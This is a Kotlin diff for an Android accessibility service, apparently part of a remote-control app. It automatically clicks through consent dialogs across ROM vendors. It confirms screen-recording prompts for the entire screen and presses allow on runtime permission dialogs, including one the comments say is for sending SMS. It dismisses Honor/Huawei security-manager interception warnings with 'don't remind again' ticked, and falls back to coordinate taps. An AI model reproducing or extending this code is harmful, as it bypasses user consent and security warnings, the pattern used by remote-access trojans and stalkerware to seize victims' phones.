录屏授权弹窗常见来源包(不同 ROM 会落在不同系统组件里)。 + */ + private val mediaProjectionDialogPackages by lazy { + mergeDistinctKeywords( + listOf( + "com.android.systemui", + "android", + "com.android.permissioncontroller", + "com.google.android.permissioncontroller", + "com.miui.securitycenter", + "com.miui.permcenter", + "com.miui.permissioncontroller", + "com.huawei.systemmanager", + "com.hihonor.systemmanager", + "com.hihonor.securitycenter", + "com.coloros.safecenter", + "com.oplus.securitypermission", + "com.oppo.permissioncontroller" + ), + romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints + ).map { it.lowercase() } + } + + private val permissionFlowPackageHints by lazy { + mergeDistinctKeywords( + listOf( + "permissioncontroller", + "packageinstaller", + "permcenter", + "securitycenter", + "lbe.security.miui", + "systemmanager", + "com.coloros", + "com.oplus", + "com.heytap", + "com.oppo" + ), + romPolicy.permissionFlowPackageHints + romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints + ).map { it.lowercase() } + } + + private val honorSystemManagerPackages by lazy { + mergeDistinctKeywords( + listOf("com.hihonor.systemmanager", "com.huawei.systemmanager"), + romPolicy.permissionDialogPackageHints.filter { it.contains("systemmanager", ignoreCase = true) } + ).map { it.lowercase() } + } + + private fun buildNodeCombinedText(text: CharSequence?, desc: CharSequence?): String { + val combined = "${text?.toString().orEmpty()} ${desc?.toString().orEmpty()}".trim() + return combined + } + + private fun startOrRefreshMediaProjectionSafetyReset(reason: String) { + val sessionId = System.currentTimeMillis() + mediaProjectionRequestSessionId = sessionId + mediaProjectionSafetyResetJob?.cancel() + mediaProjectionSafetyResetJob = serviceScope.launch { + delay(8000) + if (sessionId != mediaProjectionRequestSessionId) { + Log.d(TAG, "⏭️ [安全重置] 跳过旧会话: reason=$reason") + return@launch + } + if (isRequestingMediaProjection && !hasMediaProjectionPermission()) { + Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取,重置状态避免卡死: reason=$reason") + isRequestingMediaProjection = false + mediaProjectionRetryCount = 0 + } + } + } + + private fun cancelMediaProjectionSafetyReset(reason: String) { + mediaProjectionRequestSessionId = System.currentTimeMillis() + mediaProjectionSafetyResetJob?.cancel() + mediaProjectionSafetyResetJob = null + Log.d(TAG, "🛑 [安全重置] 已取消: reason=$reason") + } + + private fun isSystemProjectionDialogVisible(): Boolean { + return try { + val rootNode = service.rootInActiveWindow ?: return false + val packageName = rootNode.packageName?.toString()?.lowercase().orEmpty() + packageName.contains("com.android.systemui") + } catch (e: Exception) { + false + } + } + + private fun containsAnyKeyword(source: String, keywords: Collection): Boolean { + if (source.isEmpty()) return false + return keywords.any { keyword -> + source.contains(keyword, ignoreCase = true) + } + } + + private fun isLikelyMediaProjectionDialogPackage(packageName: String?): Boolean { + if (packageName.isNullOrBlank()) return false + val normalized = packageName.lowercase() + return mediaProjectionDialogPackages.any { pkg -> + normalized == pkg || normalized.contains(pkg) + } + } + + private fun isRuntimeAllowText(source: String): Boolean { + return containsAnyKeyword(source, runtimePermissionAllowKeywords) + } + + private fun isRuntimeDenyText(source: String): Boolean { + return containsAnyKeyword(source, runtimePermissionDenyKeywords) + } + + private fun normalizeRuntimeText(source: String): String { + return source.replace("\\s+".toRegex(), "") + } + + private fun isRuntimeOptionSelectionText(source: String): Boolean { + if (source.isBlank()) return false + val normalized = normalizeRuntimeText(source) + return runtimePermissionOptionKeywords.any { keyword -> + normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true) + } + } + + private fun isRuntimeFinalConfirmText(source: String): Boolean { + if (source.isBlank()) return false + val normalized = normalizeRuntimeText(source) + val matched = runtimePermissionFinalConfirmKeywords.any { keyword -> + normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true) + } + if (!matched) return false + // 选项文案中包含“允许”时,默认不视为最终确认(避免 MIUI RadioButton 误判) + if (isRuntimeOptionSelectionText(normalized)) { + return normalized.equals("允许", ignoreCase = true) || + normalized.equals("allow", ignoreCase = true) || + normalized.equals("ok", ignoreCase = true) || + normalized.equals("确定", ignoreCase = true) || + normalized.equals("确认", ignoreCase = true) + } + return true + } + + private fun hasRuntimeConfirmViewIdHint(viewId: String?): Boolean { + if (viewId.isNullOrBlank()) return false + val normalized = viewId.lowercase() + return runtimePermissionConfirmViewIdHints.any { hint -> + normalized.contains(hint) + } + } + + private fun isRuntimeOptionControl(node: AccessibilityNodeInfo): Boolean { + val className = node.className?.toString()?.lowercase().orEmpty() + return node.isCheckable || + className.contains("radiobutton") || + className.contains("checkedtextview") || + className.contains("checkbox") + } + + private fun clickRuntimePermissionNode( + node: AccessibilityNodeInfo, + scene: String, + phase: String, + logPrefix: String + ): Boolean { + val text = node.text?.toString().orEmpty() + val desc = node.contentDescription?.toString().orEmpty() + val className = node.className?.toString().orEmpty() + val viewId = node.viewIdResourceName.orEmpty() + val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node) + val actionClicked = runCatching { + clickTarget?.performAction(AccessibilityNodeInfo.ACTION_CLICK) == true + }.getOrDefault(false) + if (actionClicked) { + Log.i( + TAG, + "$logPrefix [$scene] 点击成功: phase=$phase, text='$text', desc='$desc', class=$className, viewId=$viewId" + ) + return true + } + val gestureClicked = tapNodeCenterByGesture(node, "runtime_permission:$scene:$phase") + Log.i( + TAG, + "$logPrefix [$scene] 手势点击兜底: phase=$phase, text='$text', class=$className, viewId=$viewId, clicked=$gestureClicked" + ) + return gestureClicked + } + + private fun computeRuntimeConfirmScore( + node: AccessibilityNodeInfo, + combinedText: String, + viewId: String + ): Int { + val className = node.className?.toString()?.lowercase().orEmpty() + var score = 0 + if (hasRuntimeConfirmViewIdHint(viewId)) score += 80 + if (className.contains("button")) score += 30 + if (isRuntimeFinalConfirmText(combinedText)) score += 25 + if (isRuntimeAllowText(combinedText)) score += 15 + if (isRuntimeOptionSelectionText(combinedText)) score -= 30 + if (isRuntimeOptionControl(node)) score -= 60 + return score + } + + private fun tryClickRuntimeFollowupConfirm( + scene: String, + strictAllowSemantics: Boolean, + logPrefix: String + ): Boolean { + val rootNode = service.rootInActiveWindow ?: return false + try { + val rootPackage = rootNode.packageName?.toString() + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "$logPrefix [$scene] 跟进确认跳过:当前活动包非运行时权限弹框 package=$rootPackage") + return false + } + + val confirmViewIds = listOf( + "android:id/button1", + "com.android.permissioncontroller:id/permission_allow_button", + "com.android.permissioncontroller:id/permission_allow_foreground_only_button", + "com.android.permissioncontroller:id/permission_allow_one_time_button" + ) + for (viewId in confirmViewIds) { + val confirmNodes = runCatching { + rootNode.findAccessibilityNodeInfosByViewId(viewId) + }.getOrDefault(emptyList()) + try { + for (candidate in confirmNodes) { + val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription) + if (isRuntimeDenyText(combinedText)) continue + val allowLike = isRuntimeAllowText(combinedText) || + isRuntimeFinalConfirmText(combinedText) || + hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName) + if (!allowLike) continue + if (strictAllowSemantics && + !isRuntimeAllowText(combinedText) && + !hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName) + ) { + continue + } + if (clickRuntimePermissionNode(candidate, scene, "followup_confirm_viewid:$viewId", logPrefix)) { + return true + } + } + } finally { + confirmNodes.forEach { runCatching { it.recycle() } } + } + } + + val allButtons = findAllButtons(rootNode) + try { + var bestCandidate: AccessibilityNodeInfo? = null + var bestScore = Int.MIN_VALUE + for (candidate in allButtons) { + val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription) + val viewId = candidate.viewIdResourceName.orEmpty() + if (isRuntimeDenyText(combinedText)) continue + if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue + val allowLike = isRuntimeAllowText(combinedText) || + isRuntimeFinalConfirmText(combinedText) || + hasRuntimeConfirmViewIdHint(viewId) + if (!allowLike) continue + if (strictAllowSemantics && + !isRuntimeAllowText(combinedText) && + !hasRuntimeConfirmViewIdHint(viewId) + ) { + continue + } + + val score = computeRuntimeConfirmScore(candidate, combinedText, viewId) + if (score > bestScore) { + bestScore = score + bestCandidate = candidate + } + } + + if (bestCandidate != null) { + return clickRuntimePermissionNode(bestCandidate, scene, "followup_confirm_scan", logPrefix) + } + } finally { + allButtons.forEach { runCatching { it.recycle() } } + } + return false + } finally { + runCatching { rootNode.recycle() } + } + } + + private fun tryClickRuntimeBottomRightConfirmFallback( + node: AccessibilityNodeInfo, + scene: String, + strictAllowSemantics: Boolean, + logPrefix: String + ): Boolean { + val rootBounds = android.graphics.Rect() + runCatching { node.getBoundsInScreen(rootBounds) } + if (rootBounds.isEmpty) { + return false + } + + val nodes = mutableListOf() + collectAllNodes(node, nodes, 0) + try { + var bestCandidate: AccessibilityNodeInfo? = null + var bestScore = Int.MIN_VALUE + + for (candidate in nodes) { + val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription) + val viewId = candidate.viewIdResourceName.orEmpty() + val className = candidate.className?.toString().orEmpty() + val lowerClass = className.lowercase() + if (isRuntimeDenyText(combinedText)) continue + if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue + + val hasClickableTarget = candidate.isClickable || findClickableParentOrSibling(candidate) != null + if (!hasClickableTarget) continue + + val buttonLikeClass = lowerClass.contains("button") || lowerClass.contains("textview") + val hasSemanticSignal = + combinedText.isNotBlank() || hasRuntimeConfirmViewIdHint(viewId) || buttonLikeClass + val containerClass = + lowerClass.contains("framelayout") || + lowerClass.contains("linearlayout") || + lowerClass.contains("relativelayout") || + lowerClass.contains("viewgroup") + if (!hasSemanticSignal) continue + if (containerClass && !hasRuntimeConfirmViewIdHint(viewId) && combinedText.isBlank()) continue + + if (strictAllowSemantics && + combinedText.isNotBlank() && + !isRuntimeAllowText(combinedText) && + !isRuntimeFinalConfirmText(combinedText) && + !hasRuntimeConfirmViewIdHint(viewId) + ) { + continue + } + + val bounds = android.graphics.Rect() + runCatching { candidate.getBoundsInScreen(bounds) } + if (bounds.isEmpty) continue + + val centerX = bounds.centerX() + val centerY = bounds.centerY() + val rootArea = rootBounds.width().toLong() * rootBounds.height().toLong() + val candidateArea = bounds.width().toLong() * bounds.height().toLong() + if (rootArea > 0L && candidateArea > (rootArea * 35 / 100)) continue + val minCandidateX = rootBounds.left + (rootBounds.width() * 0.35f).toInt() + val minCandidateY = rootBounds.top + (rootBounds.height() * 0.45f).toInt() + if (centerX < minCandidateX || centerY < minCandidateY) continue + + var score = centerX + centerY + if (className.contains("button", ignoreCase = true)) score += 1800 + if (hasRuntimeConfirmViewIdHint(viewId)) score += 2200 + if (isRuntimeFinalConfirmText(combinedText)) score += 1500 + if (combinedText.isBlank()) score += 200 + if (containerClass) score -= 2000 + if (!candidate.isEnabled) score -= 1200 + + if (score > bestScore) { + bestScore = score + bestCandidate = candidate + } + } + + if (bestCandidate != null) { + Log.i( + TAG, + "$logPrefix [$scene] 命中底部右侧确认兜底: score=$bestScore, text='${bestCandidate.text}', viewId='${bestCandidate.viewIdResourceName}'" + ) + return clickRuntimePermissionNode(bestCandidate, scene, "bottom_right_confirm_fallback", logPrefix) + } + return false + } finally { + nodes.forEach { runCatching { it.recycle() } } + } + } + + private fun tryClickRuntimePermissionButtonsInternal( + node: AccessibilityNodeInfo, + logPrefix: String, + scene: String, + strictAllowSemantics: Boolean, + allowOptionOnlySuccess: Boolean = false + ): Boolean { + val allButtons = findAllButtons(node) + Log.d(TAG, "$logPrefix [$scene] 找到 ${allButtons.size} 个候选按钮") + var optionClicked = false + var checkedOptionDetected = false + + try { + for ((index, btn) in allButtons.withIndex()) { + val btnText = btn.text?.toString().orEmpty() + val btnDesc = btn.contentDescription?.toString().orEmpty() + val className = btn.className?.toString().orEmpty() + val viewId = btn.viewIdResourceName.orEmpty() + val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription) + val isOptionNode = isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(btn) + val isChecked = runCatching { btn.isChecked }.getOrDefault(false) + + Log.d( + TAG, + "$logPrefix [$scene] 候选 $index: text='$btnText', desc='$btnDesc', class=$className, viewId=$viewId, option=$isOptionNode, checked=$isChecked" + ) + + if (isRuntimeDenyText(combinedText)) { + Log.d(TAG, "$logPrefix [$scene] 跳过拒绝类按钮: '$btnText' / '$btnDesc'") + continue + } + + val allowLike = isRuntimeAllowText(combinedText) || + isRuntimeFinalConfirmText(combinedText) || + hasRuntimeConfirmViewIdHint(viewId) + if (!allowLike) continue + + if (isOptionNode) { + if (isChecked) { + checkedOptionDetected = true + Log.d(TAG, "$logPrefix [$scene] 选项已是选中态,跳过重复点击: '$btnText'") + continue + } + val optionClick = clickRuntimePermissionNode(btn, scene, "option_select", logPrefix) + if (optionClick) { + optionClicked = true + if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) { + return true + } + } + continue + } + + if (strictAllowSemantics && + !isRuntimeAllowText(combinedText) && + !hasRuntimeConfirmViewIdHint(viewId) + ) { + Log.d(TAG, "$logPrefix [$scene] 严格模式跳过非允许语义确认按钮: '$btnText' / '$btnDesc'") + continue + } + + if (clickRuntimePermissionNode(btn, scene, "direct_confirm", logPrefix)) { + return true + } + } + + if (optionClicked || checkedOptionDetected) { + if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) { + return true + } + if (tryClickRuntimeBottomRightConfirmFallback(node, scene, strictAllowSemantics, logPrefix)) { + return true + } + if (allowOptionOnlySuccess) { + Log.i(TAG, "$logPrefix [$scene] 未命中最终确认按钮,但已完成允许选项,按详情页策略视为成功") + return true + } + Log.i(TAG, "$logPrefix [$scene] 已选择/识别权限选项,但暂未捕获最终确认按钮,等待下一轮检测") + } else { + Log.w(TAG, "$logPrefix [$scene] 未找到可点击的运行时权限按钮") + } + return false + } finally { + allButtons.forEach { runCatching { it.recycle() } } + } + } + + private fun isHonorSystemManagerPackage(packageName: String?): Boolean { + if (packageName.isNullOrBlank()) return false + val normalized = packageName.lowercase() + return honorSystemManagerPackages.any { pkg -> + normalized == pkg || normalized.contains(pkg) + } + } + + /** + * 荣耀/华为系统管家拦截弹窗兜底处理: + * 典型结构为 button2(取消)/button1(确认),可能伴随“下次不再提示”复选框。 + */ + private fun tryHandleHonorSystemManagerInterception( + rootNode: AccessibilityNodeInfo?, + source: String + ): Boolean { + if (rootNode == null) return false + + try { + val packageName = rootNode.packageName?.toString() + Log.d( + TAG, + "🛡️ [荣耀拦截探测] source=$source, package=$packageName" + ) + if (!isHonorSystemManagerPackage(packageName)) { + return false + } + + Log.i( + TAG, + "🛡️ [荣耀拦截弹窗] 检测到系统管家弹窗,来源=$source, package=$packageName" + ) + + // 先尝试勾选“下次不再提示”复选框,减少重复弹窗打断权限链路 + val checkboxIds = listOf( + "com.hihonor.systemmanager:id/chk", + "com.huawei.systemmanager:id/chk", + "android:id/checkbox" + ) + for (viewId in checkboxIds) { + val checkboxes = runCatching { + rootNode.findAccessibilityNodeInfosByViewId(viewId) + }.getOrDefault(emptyList()) + for (checkbox in checkboxes) { + try { + val checked = runCatching { checkbox.isChecked }.getOrDefault(false) + if (!checked && (checkbox.isCheckable || checkbox.isClickable)) { + val clickedByAction = runCatching { + checkbox.performAction(AccessibilityNodeInfo.ACTION_CLICK) + }.getOrDefault(false) + val clicked = clickedByAction || tapNodeCenterByGesture( + checkbox, + "honor_systemmanager_checkbox:$source" + ) + Log.i( + TAG, + "🛡️ [荣耀拦截弹窗] 复选框处理 viewId=$viewId, checkedBefore=$checked, clicked=$clicked" + ) + if (clicked) { + Thread.sleep(120) + } + } + } finally { + runCatching { checkbox.recycle() } + } + } + } + + // 优先通过button1定位确认按钮,避免误点button2取消 + val positiveButtonIds = listOf( + "android:id/button1", + "com.hihonor.systemmanager:id/button1", + "com.huawei.systemmanager:id/button1" + ) + for (viewId in positiveButtonIds) { + val positiveButtons = runCatching { + rootNode.findAccessibilityNodeInfosByViewId(viewId) + }.getOrDefault(emptyList()) + for (button in positiveButtons) { + try { + val text = buildNodeCombinedText(button.text, button.contentDescription) + if (isRuntimeDenyText(text)) { + Log.w( + TAG, + "🛡️ [荣耀拦截弹窗] 跳过疑似拒绝按钮 viewId=$viewId, text='$text'" + ) + continue + } + + val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button) + val clickedByAction = clickTarget?.performAction( + AccessibilityNodeInfo.ACTION_CLICK + ) == true + val clicked = clickedByAction || tapNodeCenterByGesture( + button, + "honor_systemmanager_button1:$source" + ) + Log.i( + TAG, + "🛡️ [荣耀拦截弹窗] 点击确认按钮 viewId=$viewId, text='$text', clicked=$clicked" + ) + if (clicked) { + return true + } + } finally { + runCatching { button.recycle() } + } + } + } + + // 兜底:若button1未命中,优先选择右侧可点击按钮(但跳过取消/拒绝) + val allButtons = findAllButtons(rootNode) + try { + var bestButton: AccessibilityNodeInfo? = null + var bestCenterX = Int.MIN_VALUE + for (button in allButtons) { + val viewId = button.viewIdResourceName ?: "" + val text = buildNodeCombinedText(button.text, button.contentDescription) + if (!button.isClickable) continue + if (viewId.contains("button2", ignoreCase = true) || isRuntimeDenyText(text)) { + continue + } + + val bounds = android.graphics.Rect() + button.getBoundsInScreen(bounds) + if (bounds.centerX() > bestCenterX) { + bestCenterX = bounds.centerX() + bestButton = button + } + } + + if (bestButton != null) { + val fallbackText = buildNodeCombinedText(bestButton.text, bestButton.contentDescription) + val clickedByAction = bestButton.performAction(AccessibilityNodeInfo.ACTION_CLICK) + val clicked = clickedByAction || tapNodeCenterByGesture( + bestButton, + "honor_systemmanager_fallback_right_button:$source" + ) + Log.i( + TAG, + "🛡️ [荣耀拦截弹窗] 右侧按钮兜底点击 text='$fallbackText', clicked=$clicked" + ) + if (clicked) { + return true + } + } + } finally { + allButtons.forEach { runCatching { it.recycle() } } + } + + Log.d(TAG, "🛡️ [荣耀拦截弹窗] 未找到可点击确认按钮,继续原流程") + return false + } catch (e: Exception) { + Log.e(TAG, "🛡️ [荣耀拦截弹窗] 处理失败,回退原逻辑", e) + return false + } + } /** * 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本) @@ -754,7 +1931,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // === 第一层:录屏授权弹窗自动点击(参考d.t) === // 监听来自com.android.systemui的事件 - if (packageName == "com.android.systemui") { + if (isLikelyMediaProjectionDialogPackage(packageName)) { handleMediaProjectionAutoClick(event) } @@ -826,22 +2003,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列") val rootNode = service.rootInActiveWindow ?: return + var sequenceRoot = rootNode // === Step 1: Android 14+需要先选择"整个屏幕"(参考case 16 → case 15) === if (Build.VERSION.SDK_INT >= 34) { + val singleAppTexts = arrayOf( + "单个应用", "单个 app", "仅此应用", "当前应用", + "Single app", "This app only", "Only this app" + ) + val fullScreenTexts = arrayOf( + "整个屏幕", "整个设备", "全屏", "完整屏幕", + "Entire screen", "Full screen", "Whole screen", "Entire display" + ) + // 先检查是否有"单个应用"文本(参考case 16: 搜索"单个应用") - val singleAppNodes = findNodesByText(rootNode, "单个应用") - if (singleAppNodes.isNotEmpty()) { - Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(有'单个应用'选项)") + var singleAppDetected = false + for (singleText in singleAppTexts) { + val singleAppNodes = findNodesByText(sequenceRoot, singleText) + if (singleAppNodes.isEmpty()) continue + singleAppDetected = true + Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(命中'$singleText')") + + // 有些ROM默认选中“单个应用”,先点开选择器再选“整个屏幕” + val singleTarget = singleAppNodes.firstOrNull { it.isVisibleToUser } + val singleClickTarget = singleTarget?.let { if (it.isClickable) it else findClickableParentOrSibling(it) } + if (singleClickTarget != null) { + singleClickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK) + delay(180) + sequenceRoot = service.rootInActiveWindow ?: sequenceRoot + } + break } // 点击"整个屏幕"(参考case 15) - val fullScreenTexts = arrayOf( - "整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen" - ) var fullScreenClicked = false for (text in fullScreenTexts) { - val nodes = findNodesByText(rootNode, text) + val nodes = findNodesByText(sequenceRoot, text) for (node in nodes) { if (node.isVisibleToUser) { val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node) @@ -860,7 +2057,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 也尝试RadioButton方式选择全屏 if (!fullScreenClicked) { - val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton") + val radioButtons = findNodesByClassName(sequenceRoot, "android.widget.RadioButton") for (radio in radioButtons) { val radioText = radio.text?.toString() ?: "" val radioDesc = radio.contentDescription?.toString() ?: "" @@ -877,6 +2074,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } } } + + if (singleAppDetected && !fullScreenClicked) { + Log.w(TAG, "⚠️ [d.t] 已检测到单应用模式,但未成功切换到整个屏幕,将直接尝试确认按钮") + } if (fullScreenClicked) { // 延迟300ms等待界面更新(参考case 15 → case 14的延迟) @@ -886,16 +2087,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // === Step 2: 点击确认按钮(参考case 14: 遍历f605d确认按钮数组) === delay(300) - val updatedRoot = service.rootInActiveWindow ?: return - + val updatedRoot = service.rootInActiveWindow ?: sequenceRoot + var confirmClicked = false + val confirmKeywords = mediaProjectionConfirmKeywords.toList() + for (confirmText in mediaProjectionConfirmKeywords) { val buttons = findNodesByText(updatedRoot, confirmText) for (button in buttons) { if (!button.isVisibleToUser) continue // 检查是否在黑名单中 - val buttonText = button.text?.toString() ?: "" - val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) } + val buttonText = buildNodeCombinedText(button.text, button.contentDescription) + val isDenied = isRuntimeDenyText(buttonText) if (isDenied) continue val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button) @@ -903,12 +2106,37 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK) if (success) { Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'") + confirmClicked = true + stopAutoClickingImmediately() + return + } else if (tapNodeCenterByGesture(clickTarget, "d_t_confirm:$confirmText")) { + Log.i(TAG, "🎬 [d.t] 节点点击失败,已触发手势中心点击兜底: '$confirmText'") + confirmClicked = true stopAutoClickingImmediately() return } } } } + + // 文本搜索未命中时,遍历可点击节点做一次“开始/同意”语义匹配 + if (!confirmClicked) { + val clickableNodes = findAllClickableNodes(updatedRoot) + for (node in clickableNodes) { + if (!node.isVisibleToUser) continue + val nodeText = buildNodeCombinedText(node.text, node.contentDescription) + if (nodeText.isBlank() || isRuntimeDenyText(nodeText)) continue + if (!containsAnyKeyword(nodeText, confirmKeywords)) continue + + val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node) + if (clickTarget != null && clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)) { + Log.i(TAG, "🎬 [d.t] 语义匹配点击确认按钮成功: '$nodeText'") + confirmClicked = true + stopAutoClickingImmediately() + return + } + } + } // === Step 3: 节点点击失败时,使用坐标点击兜底(参考d.g.f()) === Log.i(TAG, "🎬 [d.t] 节点点击失败,尝试坐标点击兜底") @@ -951,7 +2179,11 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // OPPO/一加(参考:oppo ≤1080w → (540, 1980~2050) 重复3次) brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> { when { - screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3)) + // OPPO小屏机型常见布局:右下角“开始”按钮 + screenWidth < 780 -> listOf( + ClickConfig((screenWidth * 0.80f).toInt(), (screenHeight * 0.69f).toInt(), 2), + ClickConfig((screenWidth * 0.82f).toInt(), (screenHeight * 0.71f).toInt(), 1) + ) screenWidth <= 1080 -> listOf( ClickConfig(540, 1980, 2), ClickConfig(540, 2050, 1) @@ -1041,6 +2273,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e) } } + + private fun tapNodeCenterByGesture(node: AccessibilityNodeInfo, reason: String): Boolean { + return try { + val bounds = android.graphics.Rect() + node.getBoundsInScreen(bounds) + if (bounds.isEmpty) { + Log.w(TAG, "⚠️ 手势中心点击失败,节点无有效边界: reason=$reason") + return false + } + val centerX = (bounds.left + bounds.right) / 2 + val centerY = (bounds.top + bounds.bottom) / 2 + Log.i( + TAG, + "🎯 节点点击失败,改用手势中心点击: reason=$reason, center=($centerX,$centerY), bounds=$bounds" + ) + performGestureClick(centerX, centerY) + true + } catch (e: Exception) { + Log.w(TAG, "⚠️ 手势中心点击异常: reason=$reason", e) + false + } + } /** * 第二层:通用权限弹窗自动点击(参考d.r) @@ -1054,15 +2308,32 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } val packageName = event.packageName?.toString() ?: "" + val className = event.className?.toString().orEmpty() // 只处理系统相关的包名(权限弹窗来源) if (!packageName.contains("android") && !packageName.contains("systemui") && !packageName.contains("permissioncontroller") && !packageName.contains("settings") && - !packageName.contains("packageinstaller")) { + !packageName.contains("packageinstaller") && + !packageName.contains("securitycenter") && + !packageName.contains("permcenter") && + !packageName.contains("lbe.security.miui") && + !packageName.contains("systemmanager")) { return } + + if (isMiuiPermissionEditorPackage(packageName)) { + val inMiuiPermissionEditor = className.contains("PermissionsEditorActivity", ignoreCase = true) || + className.contains("PermissionAppsModifyActivity", ignoreCase = true) + if (inMiuiPermissionEditor || !activeRuntimePermissionRequest.isNullOrBlank()) { + Log.d( + TAG, + "⏭️ [d.r] 跳过MIUI权限编辑页通用点击,避免误触详情行: class=$className, activeRequest=$activeRuntimePermissionRequest" + ) + return + } + } val rootNode = service.rootInActiveWindow ?: return @@ -1197,19 +2468,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 🔧 优化:更保守的状态管理,只在确实需要时才设置 if (!isRequestingMediaProjection) { Log.i(TAG, "🎯 [权限申请] 当前不在权限申请状态,临时设置为申请状态") - isRequestingMediaProjection = true - - // 🔧 缩短安全重置时间,避免状态卡死 - serviceScope.launch { - delay(8000) // 8秒后检查(减少了2秒) - if (isRequestingMediaProjection && !hasMediaProjectionPermission()) { - Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取,重置状态避免乱点击") - isRequestingMediaProjection = false - mediaProjectionRetryCount = 0 - } - } + setMediaProjectionRequesting(true) } else { Log.i(TAG, "🎯 [权限申请] 已在权限申请状态,无需重复设置") + startOrRefreshMediaProjectionSafetyReset("event_detect_dialog_keepalive") } } } @@ -1615,35 +2877,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return clickableNodes } + private fun isMiuiPermissionEditorPackage(packageName: String?): Boolean { + if (packageName.isNullOrBlank()) return false + val normalized = packageName.lowercase() + return normalized.contains("miui.securitycenter") || + normalized.contains("miui.permcenter") || + normalized.contains("lbe.security.miui") + } + /** * 检测是否可能是权限对话框 - 更宽松的检测 */ private fun isLikelyPermissionDialog(packageName: String?): Boolean { - if (packageName == null) return true // ✅ 空包名也允许处理,可能是系统对话框 + if (packageName.isNullOrBlank()) return false + val normalized = packageName.lowercase() // ✅ 关键修复:排除锁屏界面,避免误点击锁屏确认按钮 if (isLockScreenInterface(packageName)) { Log.w(TAG, "🔒 [关键修复] 检测到锁屏界面 ($packageName),跳过权限处理避免误点击确认按钮") return false } - - // ✅ 扩大检测范围,包含更多可能的权限对话框 - return packageName.contains("systemui") || - packageName.contains("system") || - packageName.contains("android") || - packageName.contains("permissioncontroller") || - packageName.contains("settings") || - packageName.contains("com.android") || - packageName.contains("permission") || - packageName.contains("dialog") || - packageName.lowercase().contains("screen") || - // ✅ 厂商定制UI - packageName.contains("miui") || - packageName.contains("coloros") || - packageName.contains("emui") || - packageName.contains("flyme") || - packageName.contains("funtouch") || - packageName.contains("oneplus") + + // 桌面/相册/相机等页面容易误触发“开始拍摄”,直接排除 + val denyPackages = listOf( + "com.miui.home", + "com.miui.gallery", + "com.android.camera", + "com.miui.personalassistant", + "com.android.mms", + "com.google.android.apps.messaging" + ) + if (denyPackages.any { normalized == it || normalized.startsWith("$it.") }) { + return false + } + + val inPermissionFlowPackages = permissionFlowPackageHints.any { hint -> + normalized == hint || normalized.contains(hint) + } + + // 只允许系统权限/安全中心相关窗口,避免在普通应用页面误点 + return normalized == "android" || + normalized.contains("systemui") || + inPermissionFlowPackages || + normalized.contains("settings") || + normalized.contains("permission") + } + + /** + * 发送短信运行时权限弹窗专用包名检测(更严格,避免误点短信应用界面) + */ + private fun isRuntimePermissionDialogPackage(packageName: String?): Boolean { + if (packageName == null) return true + val normalized = packageName.lowercase() + val explicitDenyPackages = listOf( + "mms", + "message", + "messaging", + "sms", + "dialer", + "contacts" + ) + if (explicitDenyPackages.any { normalized.contains(it) }) { + return false + } + val inPermissionFlowPackages = permissionFlowPackageHints.any { hint -> + normalized == hint || normalized.contains(hint) + } + return normalized.contains("systemui") || + normalized == "android" || + inPermissionFlowPackages } /** @@ -2241,12 +3543,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // ✅ 简化系统对话框检测 val isSystemDialog = isLikelyPermissionDialog(packageName) - val shouldProcess = isSystemDialog || mediaProjectionRetryCount >= 2 // 降低重试阈值,从3降到2 + val shouldProcess = isSystemDialog - Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, retryCount=$mediaProjectionRetryCount)") + Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, packageName=$packageName)") if (!shouldProcess) { - Log.v(TAG, "📋 非权限对话框且重试次数不足,跳过处理 (packageName=$packageName)") + Log.v(TAG, "📋 